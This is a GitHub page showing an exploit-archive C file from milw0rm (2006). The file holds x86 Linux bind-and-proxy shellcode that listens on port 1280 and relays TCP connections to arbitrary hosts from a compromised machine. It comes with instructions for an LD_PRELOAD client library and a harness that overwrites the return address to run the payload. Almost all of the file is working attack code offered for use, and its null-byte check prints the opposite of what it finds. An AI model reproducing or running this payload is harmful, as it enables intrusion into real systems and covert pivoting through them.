forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13381.c
More file actions
executable file
·225 lines (183 loc) · 6.66 KB
/
Copy path13381.c
File metadata and controls
executable file
·225 lines (183 loc) · 6.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
// proxylib.c - is located at http://www.milw0rm.com/id.php?id=1476 /str0ke
/********************************************************************
hey all.. this is my attempt at a very small very functional tcp
proxy shellcode.. to pull this off i ignored the "socks" protocols
and invented my own.. sorta..
how to use me..
deliver shellcode however you would normally deliver shellcode to a
machine, lets say 192.168.1.1 in this case..
on your machine you would setup the proxy library like so:
phar@hatless-cat ~/proxyshell $ gcc -c -o proxyshell_connect.o proxylib.c -fpic
phar@hatless-cat ~/proxyshell $ ld -shared -o proxyshell_connect.so proxyshell_connect.o -ldl
phar@hatless-cat ~/proxyshell $ export LD_PRELOAD=/full/path/to/proxyshell_connect.so
phar@hatless-cat ~/proxyshell $ export SHELLPROXYHOST=192.168.1.16:1280
from now on any calls to connect() will be proxied through the shellcode
which can handle multiple simultanious connections to arbitrary hosts.
by default the shell binds to port 1280, you can easily modify which
the host binds to by finding the code labeled "port info" like this
"\xba\xfd\xff\xfa\xff" // mov $0xfffafffd,%edx ;port info
invert the last for bytes (logical NOT) and you'll see where port
0x5000 is declared.. adjust to whatever port you want, and reinvert..
proxylib.c should be available at stonedcoder.org
one last note about proxylib.c, it does not handle dns resolution properly,
so ip addresses only.. unless you know.. you feel like making it work..
phar[at]stonedcoder[dot]org
http://www.stonedcoder.org
http://bpp.etherdyne.net
********************************************************************/
char shellcode[] = {
//main:
"\x31\xc0" // xor %eax,%eax
"\x89\xc3" // mov %eax,%ebx
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\x89\xc7" // mov %eax,%edi
"\x43" // inc %ebx
"\xcd\x80" // int $0x80 ;socket
"\x89\xc6" // mov %eax,%esi
"\x89\xf8" // mov %edi,%eax
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x52" // push %edx
"\x52" // push %edx
"\xba\xfd\xff\xfa\xff" // mov $0xfffafffd,%edx ;port info
"\xf7\xd2" // not %edx
"\x52" // push %edx
"\x89\xe1" // mov %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb2\x10" // mov $0x10,%dl
"\x52" // push %edx
"\x51" // push %ecx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\x43" // inc %ebx
"\xcd\x80" // int $0x80 ;bind
"\x53" // push %ebx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xb3\x04" // mov $0x4,%bl
"\xcd\x80" // int $0x80 ;listen
"\x31\xc9" // xor %ecx,%ecx
"\x41" // inc %ecx
"\xb3\x11" // mov $0x11,%bl
"\xb0\x30" // mov $0x30,%al
"\xcd\x80" // int $0x80 ;signal
//do_next_accept:
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x50" // push %eax
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\x89\xc2" // mov %eax,%edx
"\xb3\x05" // mov $0x5,%bl
"\xcd\x80" // int $0x80 ;accept
"\x89\xc7" // mov %eax,%edi
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\xcd\x80" // int $0x80 ;fork
"\x85\xc0" // test %eax,%eax
"\x75\xe2" // jne 8048398 <do_next_accept>
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\x89\xc3" // mov %eax,%ebx
"\xb3\x01" // mov $0x1,%bl
"\xcd\x80" // int $0x80 ;socket
"\x89\xc6" // mov %eax,%esi
"\xb0\x10" // mov $0x10,%al
"\x29\xc4" // sub %eax,%esp
"\x89\xe1" // mov %esp,%ecx
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x52" // push %edx
"\x51" // push %ecx
"\x57" // push %edi
"\x89\xe1" // mov %esp,%ecx
"\xb0\x66" // mov $0x66,%al
"\xb3\x0a" // mov $0xa,%bl
"\xcd\x80" // int $0x80 ;recv
"\xb0\x66" // mov $0x66,%al
"\xb3\x03" // mov $0x3,%bl
"\x89\x34\x24" // mov %esi,(%esp)
"\xcd\x80" // int $0x80
"\x85\xc0" // test %eax,%eax
"\x74\x14" // jz ready_to_proxy
//close:
"\x89\xf3" // mov %esi,%ebx
"\x31\xc0" // xor %eax,%eax
"\xb0\x06" // mov $0x6,%al
"\xcd\x80" // int $0x80 ;close
"\x87\xf7" // xchg %esi,%edi
"\x85\xc0" // test %eax,%eax
"\x74\xf" // jz close
//exit:
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80" // int $0x80 ;recv
//ready_to_proxy:
"\x31\xdb" // xor %ebx,%ebx
"\xb3\x10" // mov $0x10,%bl
"\x01\xdc" // add %ebx,%esp
"\x87\xf7" // xchg %esi,%edi
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x56" // push %esi
"\x89\xe3" // mov %esp,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\x41" // inc %ecx
"\x89\xca" // mov %ecx,%edx
"\xb0\xa8" // mov $0xa8,%al
"\xcd\x80" // int $0x80 ;connect
"\x31\xc0" // xor %eax,%eax
"\xb0\x40" // mov $0x40,%al
"\x89\xe2" // mov %esp,%edx
"\x50" // push %eax
"\xb0\x08" // mov $0x8,%al
"\x50" // push %eax
"\x52" // push %edx
"\x56" // push %esi
"\x89\xe1" // mov %esp,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\xb3\x0a" // mov $0xa,%bl
//do_next_proxy:,
"\x31\xc0" // xor %eax,%eax
"\xb0\x66" // mov $0x66,%al
"\xcd\x80" // int $0x80 ;send/recv
"\x85\xc0" // test %eax,%eax
"\x74\xb9" // jz close
"\x89\xda" // mov %ebx,%edx
"\xf6\xc2\x01" // test $0x1,%dl
"\x75\xc6" // jnz ready_to_proxy
//is_recv_call:
"\x89\xc2" // mov %eax,%edx
"\xd1\xe2" // shl %edx
"\x72\xc0" // jb ready_to_proxy
"\x89\x41\x08" // mov %eax,0x8(%ecx)
"\x89\x39" // mov %edi,(%ecx)
"\x4b" // dec %ebx
"\xeb\xe1" // jmp do_next_proxy
};
int main() {
int *ret;
char cnull = 0;
printf("shellcode_size: %u\n", sizeof(shellcode));
printf("contains nulls: ");
if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
printf("yes\n");
}else{
printf("no\n");
}
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
// milw0rm.com [2006-02-07]